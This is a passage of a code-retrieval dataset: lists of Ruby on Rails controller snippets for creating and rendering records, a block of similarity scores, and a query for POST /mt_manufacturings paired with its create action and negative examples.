"def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part }\n end\n end",
"def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end",
"def new\n @final_service = FinalService.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @final_service }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @artist_product }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipe }\n end\n end",
"def new\n @material = Material.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @material }\n end\n end",
"def new\n @spielbegegnung = Spielbegegnung.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spielbegegnung }\n end\n end",
"def new\n managementstreatments = ManagementsTreatments.new\n\n respond_to do |format|\n format.xml { render :xml => managementstreatments }\n format.csv { render :csv => managementstreatments }\n format.json { render :json => managementstreatments }\n end\n end",
"def new\n @goods_type = GoodsType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goods_type }\n end\n end",
"def new\n @mt_supplier_part_data = MtSupplierPartData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_supplier_part_data }\n end\n end",
"def new\n\t\t@produt = Produt.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml {render :xml => @produt}\n\t\tend\n\tend",
"def new\n @materium = Materium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @materium }\n end\n end",
"def new\n @art = Art.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @art }\n end\n end",
"def new\n @test_plant = TestPlant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_plant }\n end\n end",
"def new\n @centricsteel = Centricsteel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @centricsteel }\n end\n end",
"def new\n @shopping = Shopping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shopping }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_family_product }\n end\n end",
"def new\n @month = Month.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @month }\n end\n end",
"def new\n @software_type = SoftwareType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software_type }\n end\n end",
"def new\n @recipe = Recipe.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipe }\n end\n end",
"def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item}\n end\n end",
"def new\n @item = Item.factory('local')\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @services_charger = ServicesCharger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @services_charger }\n end\n end",
"def new\n @mt_supplier_data = MtSupplierData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_supplier_data }\n end\n end",
"def new\n @installation = Installation.find(params[:installation_id]) \n @offpost = Offpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offpost }\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @mt_material_data = MtMaterialData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_material_data }\n end\n end",
"def new\n @marmita = Marmita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @marmita }\n end\n end",
"def new\n @vendor = Vendor.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendor }\n end\n end",
"def new\n @vendor = Vendor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendor }\n end\n end",
"def new\n @vendor = Vendor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendor }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reservation }\n end\n end",
"def new\n @mortgage = Mortgage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mortgage }\n end\n end",
"def new\n @sellerring = Sellerring.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sellerring }\n end\n end",
"def new\n @smartphone = Smartphone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @smartphone }\n end\n end",
"def new\n @page_id = \"services\"\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @magazine = Magazine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @magazine }\n end\n end",
"def new\n @models = self.class.model_class.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def new\n @detail = @listing.details.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @detail }\n end\n end"
] |
[
"0.7324403",
"0.7020698",
"0.7000215",
"0.6961111",
"0.6942203",
"0.6931576",
"0.69245714",
"0.69040763",
"0.68989307",
"0.68692374",
"0.68227935",
"0.6812638",
"0.6789996",
"0.6789502",
"0.6781747",
"0.6781747",
"0.6781747",
"0.67767364",
"0.6772498",
"0.6754028",
"0.6742879",
"0.672422",
"0.67044985",
"0.6694491",
"0.66877556",
"0.668148",
"0.6675815",
"0.66757554",
"0.66743404",
"0.66642845",
"0.6660967",
"0.66566014",
"0.6655074",
"0.6655053",
"0.66533905",
"0.6652804",
"0.66501004",
"0.66464525",
"0.6644469",
"0.66430855",
"0.6640507",
"0.6638773",
"0.66369665",
"0.66281575",
"0.6626587",
"0.6625885",
"0.6625885",
"0.66256845",
"0.66226274",
"0.66209245",
"0.66067934",
"0.6598075",
"0.65939665",
"0.659392",
"0.65918905",
"0.6590228",
"0.6586563",
"0.65854305",
"0.65850127",
"0.6581648",
"0.657745",
"0.6575024",
"0.6570171",
"0.6570095",
"0.6568414",
"0.65644884",
"0.65634024",
"0.6562763",
"0.65348357",
"0.65340686",
"0.6531973",
"0.6531706",
"0.65292966",
"0.65260154",
"0.6524254",
"0.6524231",
"0.65218574",
"0.65211904",
"0.65168965",
"0.65165925",
"0.65120375",
"0.6511742",
"0.6508776",
"0.6508224",
"0.65068644",
"0.6504114",
"0.65033853",
"0.6502848",
"0.65019256",
"0.64967865",
"0.6492659",
"0.6492659",
"0.6490993",
"0.64904594",
"0.6483375",
"0.6483075",
"0.6480519",
"0.6478505",
"0.64770204",
"0.6475921"
] |
0.7875078
|
0
|
POST /mt_manufacturings POST /mt_manufacturings.xml
|
def create
@mt_manufacturing = MtManufacturing.new(params[:mt_manufacturing])
respond_to do |format|
if @mt_manufacturing.save
format.html { redirect_to(@mt_manufacturing, :notice => 'Mt manufacturing was successfully created.') }
format.xml { render :xml => @mt_manufacturing, :status => :created, :location => @mt_manufacturing }
else
format.html { render :action => "new" }
format.xml { render :xml => @mt_manufacturing.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @mt_manufacturing = MtManufacturing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_manufacturing }\n end\n end",
"def manufacturing_params\n params.fetch(:manufacturing, {}).permit(:code, :manufacturing_date, :product_id, :quantity, :status,\n :is_auto_reduce_part_quantity, :note, :responsible_id)\n end",
"def set_manufacturing\n @manufacturing = Manufacturing.find(params[:id])\n \n end",
"def destroy\n @mt_manufacturing = MtManufacturing.find(params[:id])\n @mt_manufacturing.destroy\n\n respond_to do |format|\n format.html { redirect_to(mt_manufacturings_url) }\n format.xml { head :ok }\n end\n end",
"def create\n managementstreatments = ManagementsTreatments.new(params[:managements_treatments])\n\n respond_to do |format|\n if managementstreatments.save\n format.xml { render :xml => managementstreatments, :status => :created }\n format.csv { render :csv => managementstreatments, :status => :created }\n format.json { render :json => managementstreatments, :status => :created }\n else\n format.xml { render :xml => managementstreatments.errors, :status => :unprocessable_entity }\n format.csv { render :csv => managementstreatments.errors, :status => :unprocessable_entity }\n format.json { render :json => managementstreatments.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @manufacture_order = ManufactureOrder.new(params[:manufacture_order])\n\n respond_to do |format|\n if @manufacture_order.save\n format.html { redirect_to @manufacture_order, :notice => 'Manufacture order was successfully created.' }\n format.json { render :json => @manufacture_order, :status => :created, :location => @manufacture_order }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @manufacture_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @appliance_manufacturer = ApplianceManufacturer.new(params[:appliance_manufacturer])\n\n respond_to do |format|\n if @appliance_manufacturer.save\n format.html { redirect_to @appliance_manufacturer, notice: 'Appliance manufacturer was successfully created.' }\n format.json { render json: @appliance_manufacturer, status: :created, location: @appliance_manufacturer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @appliance_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @mt_distribution_packaging_data = MtDistributionPackagingData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution_packaging_data }\n end\n end",
"def create\n @mt_distribution = MtDistribution.new(params[:mt_distribution])\n\n \n respond_to do |format|\n if @mt_distribution.save\n format.html { redirect_to(@mt_distribution) }\n format.xml { render :xml => @mt_distribution, :status => :created, :location => @mt_distribution }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_distribution.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @manufacturer = DisManufacturer.new(manufacturer_params)\n\n\n if @manufacturer.save\n flash[:notice] = \"Task was successfully created.\"\n respond_with(@manufacturer)\n else\n flash[:notice] = \"Task was not created.\"\n end\n end",
"def manufacture; end",
"def manufacturer_params\n params.require(:manufacturer).permit(:name, :address1, :address2, :city, :state_id, :pin, :phone, :fax, :email, :website, :mobilephoe, :abbrev, :phone2, :release_status_id, :status_id)\n end",
"def manufacturer_params\n params.require(:manufacturer).permit(:name, :description)\n end",
"def create\n @manufacturer_warranty_type = ManufacturerWarrantyType.new(params.require(:manufacturer_warranty_type).permit(:name))\n\n respond_to do |format|\n if @manufacturer_warranty_type.save\n format.html { redirect_to manufacturer_warranty_types_url,\n notice: 'Manufacturer warranty type was successfully created.' }\n format.json { render json: @manufacturer_warranty_type, status: :created, location: @manufacturer_warranty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manufacturer_warranty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_to_newgistics\n document = Spree::Newgistics::DocumentBuilder.build_product([self])\n response = Spree::Newgistics::HTTPManager.post('/post_products.aspx', document)\n\n if response.status == 200\n errors = Nokogiri::XML(response.body).css('errors').children.any?\n update_column(:posted_to_newgistics, true) unless errors\n end\n\n end",
"def create\n @paint_manufacturer = PaintManufacturer.new(params[:paint_manufacturer])\n\n respond_to do |format|\n if @paint_manufacturer.save\n format.html { redirect_to @paint_manufacturer, notice: 'Paint manufacturer was successfully created.' }\n format.json { render json: @paint_manufacturer, status: :created, location: @paint_manufacturer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @paint_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manufacturer_params\n params.require(:manufacturer).permit(:name)\n end",
"def new\n @manufacturer_line = ManufacturerLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_line }\n end\n end",
"def create\n @gemm = Gemm.new(params[:gemm])\n\n respond_to do |format|\n if @gemm.save\n flash[:notice] = 'Gemm was successfully created.'\n format.html { redirect_to(@gemm) }\n format.xml { render :xml => @gemm, :status => :created, :location => @gemm }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @gemm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_business(business, location)\n xml = Builder::XmlMarkup.new\n query = xml.tag!(\"BPMSPost\", 'Edition' => \"1.1\") {\n xml.tag!(\"Record\") {\n xml.tag!(\"Phone\", location.phone)\n xml.tag!(\"BusinessName\", location.location_name)\n xml.tag!(\"Address\", location.address)\n xml.tag!(\"City\", location.city)\n xml.tag!(\"State\", location.state)\n xml.tag!(\"Zip\", location.zip)\n xml.tag!(\"URL\", location.website_url)\n xml.tag!(\"TagLine\", location.special_offer)\n #xml.tag!(\"LogoImage\", location.logo)\n xml.tag!(\"Categories\") {\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Primary\")\n xml.tag!(\"Name\", business.industry_primary)\n }\n if business.industry_alt_1.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt1\")\n xml.tag!(\"Name\", business.industry_alt_1)\n }\n end\n if business.industry_alt_2.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt2\")\n xml.tag!(\"Name\", business.industry_alt_2)\n }\n end\n }\n }\n }\n body = build_request(3700, 1510, query)\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n xml_doc['Error'] == '0' # success (returns true/false)\n end",
"def create\n respond_to do |format|\n if @seat_manufacturer.save\n format.html { redirect_to @seat_manufacturer, notice: 'Seat manufacturer was successfully created.' }\n format.json { render json: @seat_manufacturer, status: :created, location: @seat_manufacturer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seat_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @manufacturer = Manufacturer.new\n @manufacturer.name = params[:name]\n @manufacturer.rebate = params[:rebate]\n @manufacturer.rebate_description = params[:rebate_description]\n\n if @manufacturer.save\n redirect_to manufacturers_url\n else\n render 'new'\n end\n end",
"def set_manufacturing_order\n @mo = ManufacturingOrder.find(params[:id])\n end",
"def manufacture\n fetch('vehicle.manufacture')\n end",
"def create\n @device_manufacturer = DeviceManufacturer.new(device_manufacturer_params)\n\n if @device_manufacturer.save\n respond_with(@device_manufacturer, location: device_manufacturers_url, notice: 'Device manufacturer was successfully created.')\n else\n respond_with(@device_manufacturer)\n end\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def create\n @manufacturer_synonym = ManufacturerSynonym.new(params[:manufacturer_synonym])\n\n respond_to do |format|\n if @manufacturer_synonym.save\n format.html { redirect_to(manufacturer_manufacturer_synonym_path(@manufacturer_synonym.manufacturer_id, @manufacturer_synonym, {:page => params[:page], :letter => params[:letter]}), :notice => 'manufacturer synonym was successfully created.') }\n format.xml { render :xml => @manufacturer_synonym, :status => :created, :location => @manufacturer_synonym }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @manufacturer_synonym.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @distributor_brand }\n end\n end",
"def create\n @mt_distribution_packaging_data = MtDistributionPackagingData.new(params[:mt_distribution_packaging_data])\n \n respond_to do |format|\n if @mt_distribution_packaging_data.save\n format.js { render :action => \"create_mt_distribution_packaging_data\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_distribution_packaging_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @manufacturer_synonym = ManufacturerSynonym.new(:manufacturer_id => params[:manufacturer_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @manufacturer_synonym }\n end\n end",
"def new\n @manufacture_order = ManufactureOrder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @manufacture_order }\n end\n end",
"def create\n @machine_mileage = MachineMileage.new(params[:machine_mileage])\n\n respond_to do |format|\n if @machine_mileage.save\n format.html { redirect_to(@machine_mileage, :notice => 'Machine mileage was successfully created.') }\n format.xml { render :xml => @machine_mileage, :status => :created, :location => @machine_mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @machine_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def new\n @casting = Casting.new\n @manufacturers = Manufacturer.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @casting }\n end\n end",
"def manufacturer_params\n params.require(:manufacturer).permit(:name, :cnpj)\n end",
"def create_rest\n @item_usage = ItemUsage.new(params[:item_usage])\n\n respond_to do |format|\n if @item_usage.save\n flash[:notice] = 'ItemUsage was successfully created.'\n format.html { redirect_to(@item_usage) }\n format.xml { render :xml => @item_usage, :status => :created, :location => @item_usage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @regulation = Regulation.new(params[:regulation])\n\n respond_to do |format|\n if @regulation.save\n format.html { redirect_to @regulation, notice: 'Regulation was successfully created.' }\n format.json { render json: @regulation, status: :created, location: @regulation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @regulation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n managementstreatments = ManagementsTreatments.new\n\n respond_to do |format|\n format.xml { render :xml => managementstreatments }\n format.csv { render :csv => managementstreatments }\n format.json { render :json => managementstreatments }\n end\n end",
"def new\n @mt_supplier_part_data = MtSupplierPartData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_supplier_part_data }\n end\n end",
"def new\n @mt_distribution = MtDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution }\n end\n end",
"def new\n @appliance_manufacturer = ApplianceManufacturer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @appliance_manufacturer }\n end\n end",
"def new\n @st_packaging_data = StPackagingData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_packaging_data }\n end\n end",
"def create\n @machine_engine_size = MachineEngineSize.new(params[:machine_engine_size])\n\n respond_to do |format|\n if @machine_engine_size.save\n format.html { redirect_to(@machine_engine_size, :notice => 'Machine engine size was successfully created.') }\n format.xml { render :xml => @machine_engine_size, :status => :created, :location => @machine_engine_size }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @machine_engine_size.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @manufacturer = Manufacturer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manufacturer }\n end\n end",
"def index\n @manufacturer_partners = ManufacturerPartner.all.order(:name)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @manufacturer_partners }\n format.json { render json: @manufacturer_partners }\n end\n end",
"def create\n @manufacturer_line = ManufacturerLine.new(params[:manufacturer_line])\n\n respond_to do |format|\n if @manufacturer_line.save\n flash[:notice] = 'ManufacturerLine was successfully created.'\n format.html { redirect_to(@manufacturer_line) }\n format.xml { render :xml => @manufacturer_line, :status => :created, :location => @manufacturer_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @manufacturer_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @mt_use_machine_subsystem_data = MtUseMachineSubsystemData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_use_machine_subsystem_data }\n end\n end",
"def create\n params.permit!\n @ms_offgrade = MsOffgrade.new(params[:ms_offgrade])\n\n respond_to do |format|\n if @ms_offgrade.save\n format.html { redirect_to(@ms_offgrade, :notice => 'Ms offgrade was successfully created.') }\n format.xml { render :xml => @ms_offgrade, :status => :created, :location => @ms_offgrade }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ms_offgrade.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def create\n @machine_price = MachinePrice.new(params[:machine_price])\n\n respond_to do |format|\n if @machine_price.save\n format.html { redirect_to(@machine_price, :notice => 'Machine price was successfully created.') }\n format.xml { render :xml => @machine_price, :status => :created, :location => @machine_price }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @machine_price.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def manufacturing_order_params\n params.require(:mo).permit(:RowVersion, :num, :dateScheduled, :statusId)\n end",
"def register_sale_mq\n body = CGI::parse(request.body.read)\n data = { 'payload' => body['payload'][0] }\n RegisterSale.new(data).create\n respond_with({}, :location => nil, :status => 200)\n end",
"def create\n @mosttinymobsetup = Mosttinymobsetup.new(params[:mosttinymobsetup])\n\n respond_to do |format|\n if @mosttinymobsetup.save\n format.html { redirect_to @mosttinymobsetup, notice: 'Mosttinymobsetup was successfully created.' }\n format.json { render json: @mosttinymobsetup, status: :created, location: @mosttinymobsetup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mosttinymobsetup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @mt_supplier_data = MtSupplierData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_supplier_data }\n end\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def create\n @operating_system = OperatingSystem.new(params[:operating_system])\n\n respond_to do |format|\n if @operating_system.save\n flash[:notice] = 'OperatingSystem was successfully created.'\n format.html { redirect_to(@operating_system) }\n format.xml { render :xml => @operating_system, :status => :created, :location => @operating_system }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @operating_system.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @mt_use_machine_subsystem_data = MtUseMachineSubsystemData.new(params[:mt_use_machine_subsystem_data])\n \n respond_to do |format|\n if @mt_use_machine_subsystem_data.save\n format.js { render :action => \"create_mt_use_machine_subsystem_data\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_use_machine_subsystem_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @caracteristicamodem = Caracteristicamodem.new(caracteristicamodem_params)\n\n respond_to do |format|\n if @caracteristicamodem.save\n format.html { redirect_to @caracteristicamodem, notice: 'Caracteristicamodem was successfully created.' }\n format.json { render :show, status: :created, location: @caracteristicamodem }\n else\n format.html { render :new }\n format.json { render json: @caracteristicamodem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @setum = Setum.new(setum_params)\n\n respond_to do |format|\n if @setum.save\n format.html { redirect_to @setum, notice: 'Setum was successfully created.' }\n format.json { render :show, status: :created, location: @setum }\n else\n format.html { render :new }\n format.json { render json: @setum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts management_params\n @management = Management.new(management_params)\n if @management.save\n render json: @management, status: :created\n else \n render json: @management.errors, status: :unprocessable_entity\n end\n end",
"def new\n @gemm = Gemm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gemm }\n end\n end",
"def create\n @atm_machine = AtmMachine.new(atm_machine_params)\n\n respond_to do |format|\n if @atm_machine.save\n format.html { redirect_to @atm_machine, notice: 'Atm machine was successfully created.' }\n format.json { render :show, status: :created, location: @atm_machine }\n else\n format.html { render :new }\n format.json { render json: @atm_machine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @operating_system = OperatingSystem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operating_system }\n end\n end",
"def create\n @virtualmachines = Virtualmachine.new(params[:virtualmachines])\n\n respond_to do |format|\n if @virtualmachines.save\n flash[:notice] = 'Virtualmachines was successfully created.'\n format.html { redirect_to(@virtualmachines) }\n format.xml { render :xml => @virtualmachines, :status => :created, :location => @virtualmachines }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @virtualmachines.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @car_manufacturer = CarManufacturer.new(car_manufacturer_params)\n\n respond_to do |format|\n if @car_manufacturer.save\n format.html { redirect_to @car_manufacturer, notice: 'Car manufacturer was successfully created.' }\n format.json { render :show, status: :created, location: @car_manufacturer }\n else\n format.html { render :new }\n format.json { render json: @car_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tooling_specification = ToolingSpecification.new(params[:tooling_specification])\n\n respond_to do |format|\n if @tooling_specification.save\n format.html { redirect_to @tooling_specification, notice: 'Tooling Spec was successfully created.' }\n format.json { render json: @tooling_specification, status: :created, location: @tooling_specification }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tooling_specification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def new\n @mt_distribution_transport_data = MtDistributionTransportData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_distribution_transport_data }\n end\n end",
"def create\n @machine_information = MachineInformation.new(params[:machine_information])\n\n respond_to do |format|\n if @machine_information.save\n format.html { redirect_to(@machine_information, :notice => 'Machine information was successfully created.') }\n format.xml { render :xml => @machine_information, :status => :created, :location => @machine_information }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @machine_information.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n 3.times { @product.product_specifications.build }\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @product_specifications }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_software }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @brand }\n end\n end",
"def new\n @manufacturer_warranty_type = ManufacturerWarrantyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manufacturer_warranty_type }\n end\n end",
"def new\n @packaging_distribution = PackagingDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @packaging_distribution }\n end\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def create\n @mt_data_quality = MtDataQuality.new(params[:mt_data_quality])\n\n respond_to do |format|\n if @mt_data_quality.save\n format.html { redirect_to(@mt_data_quality, :notice => 'Mt data quality was successfully created.') }\n format.xml { render :xml => @mt_data_quality, :status => :created, :location => @mt_data_quality }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mt_data_quality.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @medicamento = Medicamento.new(params[:medicamento])\n\n respond_to do |format|\n if @medicamento.save\n flash[:notice] = 'Medicamento was successfully created.'\n format.html { redirect_to(@medicamento) }\n format.xml { render :xml => @medicamento, :status => :created, :location => @medicamento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @medicamento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @machine_mileage = MachineMileage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_mileage }\n end\n end",
"def create\n @kontum = Kontum.new(kontum_params)\n\n respond_to do |format|\n if @kontum.save\n format.html { redirect_to @kontum, notice: 'Kontum was successfully created.' }\n format.json { render :show, status: :created, location: @kontum }\n else\n format.html { render :new }\n format.json { render json: @kontum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @thermal_production = ThermalProduction.new(thermal_production_params)\n\n respond_to do |format|\n if @thermal_production.save\n format.html { redirect_to @thermal_production, notice: 'Thermal production was successfully created.' }\n format.json { render :show, status: :created, location: @thermal_production }\n else\n format.html { render :new }\n format.json { render json: @thermal_production.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_rest\n @entry_instrument = EntryInstrument.new(params[:entry_instrument])\n\n respond_to do |format|\n if @entry_instrument.save\n flash[:notice] = 'EntryInstrument was successfully created.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { render :xml => @entry_instrument, :status => :created, :location => @entry_instrument }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sunsystem = Sunsystem.new(sunsystem_params)\n\n respond_to do |format|\n if @sunsystem.save\n format.html { redirect_to @sunsystem, notice: 'Sunsystem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sunsystem }\n else\n format.html { render action: 'new' }\n format.json { render json: @sunsystem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @appoiment = Appoiment.new(params[:appoiment])\n\n respond_to do |format|\n if @appoiment.save\n \n format.xml { render :xml => @appoiment, :status => :created, :location => @appoiment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @appoiment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @specialization_weight = SpecializationWeight.new(specialization_weight_params)\n\n respond_to do |format|\n if @specialization_weight.save\n format.html { redirect_to @specialization_weight, notice: 'Specialization weight was successfully created.' }\n format.json { render :show, status: :created, location: @specialization_weight }\n else\n format.html { render :new }\n format.json { render json: @specialization_weight.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @installation = Installation.find(params[:installation_id]) \n @offpost = Offpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offpost }\n end\n end",
"def new\n @mt_material_data = MtMaterialData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mt_material_data }\n end\n end",
